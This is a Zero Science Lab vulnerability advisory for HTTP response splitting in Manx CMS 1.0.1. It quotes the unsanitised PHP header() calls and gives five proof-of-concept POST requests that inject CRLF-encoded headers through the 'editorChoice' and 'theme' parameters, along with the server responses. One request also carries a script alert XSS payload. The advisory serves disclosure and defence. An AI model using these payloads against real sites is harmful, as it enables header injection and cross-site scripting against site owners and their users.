==============+==============+==============+============== Manx cms.xml 1.0.1 Multiple HTTP Response Splitting Vulnerabilities Vendor: Paul Jova Product web page: http://manx.jovascript.com Affected version: 1.0.1 Summary: Manx is a Content Management System that uses xml text files to store the page contents, instead of a mysql database. Desc: Input passed to the POST parameter 'editorChoice' in 'admin_blocks.php' and 'admin_pages.php' and the POST parameter 'theme' in 'admin_css.php', 'admin_js.php' and 'admin_templates.php' is not properly sanitised before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user. ------------------------------------------------------------------ header("Location: " . basename($_SERVER['PHP_SELF']) . "?theme=" . $_POST['theme']); header("Location: " . basename($_SERVER['PHP_SELF']) . "?fileName=" . $fileName . "&editorChoice=" . $_POST['editorChoice']); ------------------------------------------------------------------ Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 MySQL 5.5.16 PHP 5.3.8 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2011-5059 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5059.php 27.11.2011 ==============+==============+==============+============== #1 --- POST /admin/admin_blocks.php HTTP/1.1 Content-Length: 336 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6 Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) contentArea=&datePosted=2011-08-23%2020%3a40%3a15&editorChoice=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection&fileName=&id=NEW_Block.xml&saveAs=&submit_delete_file=Delete%20File&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&title=New%20Block HTTP/1.1 302 Found Date: Sun, 27 Nov 2011 15:20:01 GMT Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: admin_blocks.php?editorChoice= ZSL-Custom-Header: love_injection&fileName=NEW_Block.xml Content-Length: 0 Keep-Alive: timeout=5, max=11 Connection: Keep-Alive Content-Type: text/html #2 --- POST /admin/admin_css.php HTTP/1.1 Content-Length: 338 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6 Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) colorSelected=&contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&selectColor=AliceBlue&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection HTTP/1.1 302 Found Date: Sun, 27 Nov 2011 15:19:25 GMT Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: admin_css.php?theme= ZSL-Custom-Header: love_injection Content-Length: 0 Keep-Alive: timeout=5, max=57 Connection: Keep-Alive Content-Type: text/html #3 --- POST /manx_1_0_1/manx/admin/admin_js.php HTTP/1.1 Content-Length: 301 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6 Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection HTTP/1.1 302 Found Date: Sun, 27 Nov 2011 15:20:14 GMT Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: admin_js.php?theme= ZSL-Custom-Header: love_injection Content-Length: 0 Keep-Alive: timeout=5, max=1 Connection: Keep-Alive Content-Type: text/html #4 --- POST /admin/admin_pages.php HTTP/1.1 Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6 Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) block1=&block2=&block3=&block4=&contentArea=%26lt%3bp%26gt%3b%26quot%3b%26amp%3bgt%3b%26amp%3blt%3bscript%26amp%3bgt%3balert%281%29%26amp%3blt%3b%2fscript%26amp%3bgt%3b%26lt%3b%2fp%26gt%3b&datePosted=2011-11-27%2015%3a53%3a21&editorChoice=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection&fileName=&footer=&header=&id=NEW_Page.php&meta_description=%22%3e&meta_keywords=&saveAs=&submit_delete_file=Delete%20File&submit_new_file=New&submit_publish=Publish&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&submit_unpublish=Un-Publish&template=&theme=&title=New%20Page&view_page_btn=View%20Page HTTP/1.1 302 Found Date: Sun, 27 Nov 2011 15:18:43 GMT Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: admin_pages.php?editorChoice= ZSL-Custom-Header: love_injection&fileName=NEW_Page.xml Content-Length: 0 Keep-Alive: timeout=5, max=70 Connection: Keep-Alive Content-Type: text/html #5 --- POST /admin/admin_templates.php HTTP/1.1 Content-Length: 301 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6 Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection HTTP/1.1 302 Found Date: Sun, 27 Nov 2011 15:19:13 GMT Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: admin_templates.php?theme= ZSL-Custom-Header: love_injection Content-Length: 0 Keep-Alive: timeout=5, max=68 Connection: Keep-Alive Content-Type: text/html